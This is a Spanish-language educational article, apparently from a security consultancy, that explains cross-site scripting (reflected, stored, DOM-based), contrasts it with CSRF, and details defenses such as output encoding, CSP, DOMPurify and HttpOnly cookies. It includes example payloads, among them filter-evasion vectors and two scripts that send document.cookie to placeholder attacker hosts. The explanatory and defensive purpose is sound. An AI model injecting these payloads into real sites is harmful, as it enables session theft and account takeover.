XSS (cross-site scripting) es una vulnerabilidad web que permite a un atacante inyectar código JavaScript en una página legítima para que se ejecute en el navegador de otras personas. El fallo aparece cuando una aplicación incorpora datos controlados por el usuario dentro del HTML de respuesta sin codificarlos ni sanitizarlos. El navegador de la víctima no distingue entre el script que escribió el desarrollador y el que inyectó el atacante: ambos corren con los permisos del propio dominio, con acceso a cookies, tokens de sesión, almacenamiento local y la interfaz completa de la aplicación.
Lo esencial. XSS explota la confianza que el navegador deposita en el origen que sirve el contenido. Se clasifica en tres tipos: reflejado, almacenado y basado en DOM. Las defensas modernas combinan codificación de salida sensible al contexto, una Content Security Policy estricta, sanitización con listas blancas (DOMPurify), cookies
HttpOnlyySameSite, y el auto escapado de frameworks como React, Angular o Vue. XSS figura en el OWASP Top 10 dentro de la categoría Injection (A03:2021).
Qué es XSS y cómo funciona el ataque
El ataque XSS se apoya en una premisa sencilla: la aplicación devuelve al navegador datos que un atacante ha logrado controlar, y lo hace de forma que esos datos se interpretan como código en lugar de como texto. El punto de entrada puede ser un parámetro de búsqueda, un campo de comentario, un nombre de perfil, una cabecera HTTP reflejada o cualquier fuente que termine renderizada en la página.
El flujo típico tiene tres momentos. Primero, la inyección: el atacante introduce una carga (payload) con etiquetas o atributos que disparan JavaScript. Segundo, la propagación: la aplicación almacena o refleja esa carga y la entrega al navegador de la víctima sin neutralizarla. Tercero, la ejecución: el navegador interpreta el payload dentro del contexto del dominio legítimo y ejecuta las instrucciones del atacante.
El detalle crítico es que el código se ejecuta con la identidad del sitio confiable. Todo lo que el JavaScript legítimo puede hacer (leer document.cookie, lanzar peticiones autenticadas con fetch(), modificar el DOM, capturar pulsaciones de teclado) queda al alcance del atacante. Por eso XSS es la palanca que habilita el robo de sesión, el fraude y el compromiso completo de la cuenta.
XSS reflejado (reflected)
El XSS reflejado ocurre cuando la aplicación toma un dato de la petición (normalmente de la URL) y lo devuelve inmediatamente en la respuesta sin codificarlo. No se almacena en ninguna base de datos: el payload viaja en el propio enlace que la víctima debe abrir.
Un buscador vulnerable que muestra "No hay resultados para: X" reflejando el parámetro q es el caso clásico:
https://app.tld/buscar?q=<script>alert(document.domain)</script>
Si el servidor incrusta ese valor tal cual en el HTML, el navegador ejecuta el script. El vector de entrega suele ser ingeniería social: un enlace en un correo, un mensaje o una publicación en redes que la víctima abre estando autenticada. El XSS reflejado es la variante más habitual y a la vez la más fácil de convertir en un enlace armado, por lo que aparece de forma recurrente en auditorías de aplicaciones web como las descritas en pentesting de aplicaciones web.
XSS almacenado (stored)
El XSS almacenado, también llamado persistente, es el más peligroso. Aquí el payload se guarda en el servidor (base de datos, sistema de comentarios, perfil de usuario, ticket de soporte) y se sirve a cada persona que visita la página afectada. No requiere que la víctima haga clic en un enlace preparado: basta con que cargue una vista donde el contenido malicioso ya vive.
Un campo de comentarios sin sanitizar que acepta HTML permite persistir algo como:
<script>fetch('https://atacante.tld/c?k='+encodeURIComponent(document.cookie))</script>
Cada usuario que abra ese hilo enviará su cookie de sesión al servidor del atacante. El impacto se multiplica porque el alcance es masivo y automático. El ejemplo histórico es el gusano Samy (MySpace, 2005), un XSS almacenado que se autopropagó a más de un millón de perfiles en menos de veinticuatro horas. En aplicaciones colaborativas, foros, paneles de administración que muestran datos introducidos por terceros y CMS con plugins, el XSS almacenado sigue siendo un hallazgo frecuente.
XSS basado en DOM (DOM-based)
El XSS basado en DOM no depende de la respuesta del servidor: la vulnerabilidad vive por completo en el JavaScript de cliente. Ocurre cuando el código de la página lee una fuente controlable (la source, por ejemplo location.hash, location.search o document.referrer) y la pasa a un destino peligroso (el sink, como innerHTML, document.write, eval o element.setAttribute) sin validación.
Un fragmento vulnerable habitual:
document.getElementById('out').innerHTML = location.hash.substring(1);
Con una URL como https://app.tld/#<img src=x onerror=alert(document.cookie)>, el navegador construye una imagen que falla al cargar y dispara el manejador onerror. Como el servidor nunca ve el fragmento tras la almohadilla, muchos WAF y filtros del lado servidor no llegan a inspeccionarlo. Detectar DOM XSS exige análisis del flujo de datos en el cliente y revisión de sinks. La defensa idónea a nivel de plataforma es la Trusted Types API, que bloquea la asignación de cadenas sin depurar a sinks sensibles.
Ejemplos de payloads y evasión de filtros
Cuando un filtro básico bloquea la etiqueta <script>, existen decenas de vectores alternativos que dependen de manejadores de eventos y de otras etiquetas:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<iframe src="javascript:alert(1)">
<a href="javascript:alert(1)">clic</a>
Los atacantes combinan codificación (entidades HTML, % en URL, unicode, secuencias en JavaScript) para saltar filtros ingenuos basados en listas negras. La lección de fondo es que filtrar por firmas es una carrera perdida: la neutralización correcta se hace mediante codificación de salida sensible al contexto, no bloqueando cadenas concretas. Para exfiltrar datos, el payload suele ser discreto:
<script>new Image().src='https://evil.tld/?c='+encodeURIComponent(document.cookie)</script>
Impacto: robo de sesión, cookies y defacement
Un XSS explotado con éxito da al atacante control del navegador de la víctima dentro del dominio afectado. Las consecuencias más frecuentes son el robo de la cookie de sesión (session hijacking) para suplantar a la víctima sin conocer su contraseña, la captura de credenciales mediante formularios falsos inyectados en la página, y el keylogging de todo lo que el usuario teclea.
Más allá del robo de datos, XSS permite realizar acciones en nombre de la víctima con peticiones autenticadas, lo que anula las protecciones anti CSRF: si el atacante ejecuta código dentro del dominio, puede leer el token anti CSRF y usarlo. También habilita el defacement, la redirección a phishing y la distribución de malware. En objetivos de alto valor, un XSS almacenado en el panel de administración puede escalar hasta el compromiso de la infraestructura completa.
XSS vs CSRF: comparación
XSS y CSRF se confunden con frecuencia porque ambos se ejecutan en el navegador de la víctima, pero explotan confianzas distintas.
| Aspecto | XSS | CSRF |
|---|---|---|
| Qué se explota | Confianza del navegador en el origen que sirve el contenido | Confianza del servidor en las cookies automáticas del navegador |
| Origen del payload | Inyectado en la aplicación vulnerable | Alojado en un sitio externo del atacante |
| Requiere leer la respuesta | Sí, el script corre en el dominio | No, basta con disparar la acción |
| Gravedad relativa | Mayor: control total del contexto del dominio | Menor: acciones puntuales state changing |
La relación clave: un XSS exitoso derrota cualquier defensa CSRF, porque el atacante ejecuta código con permiso del dominio y puede leer el token. Por eso XSS se considera más grave y CSRF actúa como capa complementaria dentro de una estrategia de defensa en profundidad.
Defensas modernas contra XSS
Codificación de salida sensible al contexto
Es la defensa principal. Cada dato dinámico debe codificarse según dónde se inserte: entidades HTML en el cuerpo del documento, codificación de atributos dentro de atributos, escapado JavaScript dentro de bloques de script y codificación de URL en enlaces. Aplicar el escapado incorrecto para el contexto (por ejemplo, entidades HTML dentro de un atributo de evento) deja el fallo abierto. La OWASP XSS Prevention Cheat Sheet documenta las reglas por contexto (CWE-79).
Content Security Policy (CSP)
Una CSP estricta es la segunda capa que convierte muchos XSS en no explotables. Con script-src basado en nonces por petición y strict-dynamic se impide la ejecución de scripts inline no autorizados aunque exista una inyección. La CSP no sustituye a la codificación de salida, pero limita el daño de forma decisiva y es hoy un control esperable en cualquier aplicación seria. Se complementa con cabeceras de seguridad servidas correctamente, un terreno que se solapa con CORS y seguridad web.
Sanitización con listas blancas
Cuando la aplicación necesita permitir HTML del usuario (editores enriquecidos, comentarios con formato), no basta con escapar: hay que sanitizar con una librería robusta que aplique una lista blanca de etiquetas y atributos. DOMPurify es el estándar de facto en cliente. Nunca se debe construir un saneador propio basado en expresiones regulares.
Cookies HttpOnly y SameSite
Marcar la cookie de sesión como HttpOnly impide que document.cookie la lea desde JavaScript, lo que neutraliza el robo directo de sesión vía XSS. Combinada con Secure y SameSite, reduce la superficie de ataque. Es una mitigación, no una cura: XSS sigue permitiendo peticiones autenticadas aunque la cookie no sea legible.
Auto escapado de frameworks
React, Angular y Vue escapan por defecto el contenido interpolado, lo que elimina la mayoría de los XSS clásicos. El riesgo se traslada a las escotillas de escape: dangerouslySetInnerHTML en React, v-html en Vue o bypassSecurityTrustHtml en Angular reintroducen el peligro si reciben datos sin sanitizar. Auditar estos puntos es prioritario en aplicaciones modernas.
WAF como control compensatorio
Un WAF puede bloquear payloads XSS conocidos y dar tiempo de reacción, pero es evadible mediante codificación y variantes, y no ve el XSS basado en DOM. Es una capa perimetral útil, nunca la defensa única. El fallo debe corregirse en el código.
XSS en el OWASP Top 10
XSS fue una categoría propia (A7) en el OWASP Top 10 hasta 2017. En la edición de 2021 se integró dentro de A03:2021 Injection, reconociendo que XSS es, en esencia, una inyección de código en el contexto del navegador. La reclasificación no rebaja su importancia: sigue siendo una de las vulnerabilidades más reportadas en programas de bug bounty y una constante en las auditorías web, como recogen las 5 vulnerabilidades web más comunes. La referencia técnica sigue siendo la OWASP Web Security Testing Guide y la clasificación CWE-79.
Preguntas frecuentes
¿Cuál es el tipo de XSS más peligroso?
El XSS almacenado (persistente), porque afecta a cada usuario que visita la página comprometida sin necesidad de ingeniería social ni de un enlace preparado. Su alcance es masivo y automático, y en paneles internos puede escalar hasta el compromiso de la infraestructura.
¿HttpOnly elimina el riesgo de XSS?
No. HttpOnly impide que JavaScript lea la cookie de sesión, lo que corta el robo directo de la cookie, pero un XSS sigue pudiendo lanzar peticiones autenticadas, capturar credenciales de formularios o modificar la interfaz. Es una mitigación importante, no una solución completa.
¿React o Angular me protegen de XSS?
En gran medida, porque escapan el contenido por defecto. El riesgo persiste en las escotillas de escape (dangerouslySetInnerHTML, v-html, bypassSecurityTrust*) y en el XSS basado en DOM cuando el código de cliente escribe datos sin depurar en sinks peligrosos.
¿Qué diferencia hay entre XSS y CSRF?
XSS inyecta y ejecuta código en el dominio vulnerable, explotando la confianza del navegador en el origen. CSRF fuerza una acción desde un sitio externo aprovechando las cookies automáticas del navegador. Un XSS exitoso derrota las defensas anti CSRF, por lo que se considera más grave.
¿Un WAF es suficiente para detener XSS?
No como defensa única. Un WAF bloquea patrones conocidos y es evadible mediante codificación y variantes, y además no inspecciona el XSS basado en DOM. Debe combinarse con codificación de salida, CSP y sanitización en el código.
Recursos relacionados
- Qué es CSRF: cross-site request forgery, ejemplos y defensa
- Qué es CORS y por qué importa en seguridad web
- Qué es un WAF (web application firewall)
- Pentesting de aplicaciones web
- Las 5 vulnerabilidades web más comunes en 2025
Auditar XSS y vulnerabilidades web con Secra
Secra realiza auditorías de aplicaciones web alineadas con OWASP Top 10 y la OWASP Web Security Testing Guide. Cubrimos la identificación de puntos de inyección, la explotación controlada de XSS reflejado, almacenado y basado en DOM, la revisión de la codificación de salida por contexto, el análisis de la Content Security Policy y la validación de cookies (HttpOnly, Secure, SameSite), incluida la revisión de las escotillas de escape en React, Angular o Vue.
Si necesitáis una revisión profesional de XSS, CSRF y el resto del catálogo OWASP, conoced nuestro servicio de auditoría web y móvil o escribidnos desde /es/contacto/ para planificar una auditoría adaptada a vuestra plataforma.
Sobre el autor
Equipo de Secra Solutions
Ethical hackers certificados OSCP, OSEP, OSWE, CRTO, CRTL y CARTE, con más de 7 años de experiencia en ciberseguridad ofensiva. Autores de los CVE-2025-40652 y CVE-2023-3512.

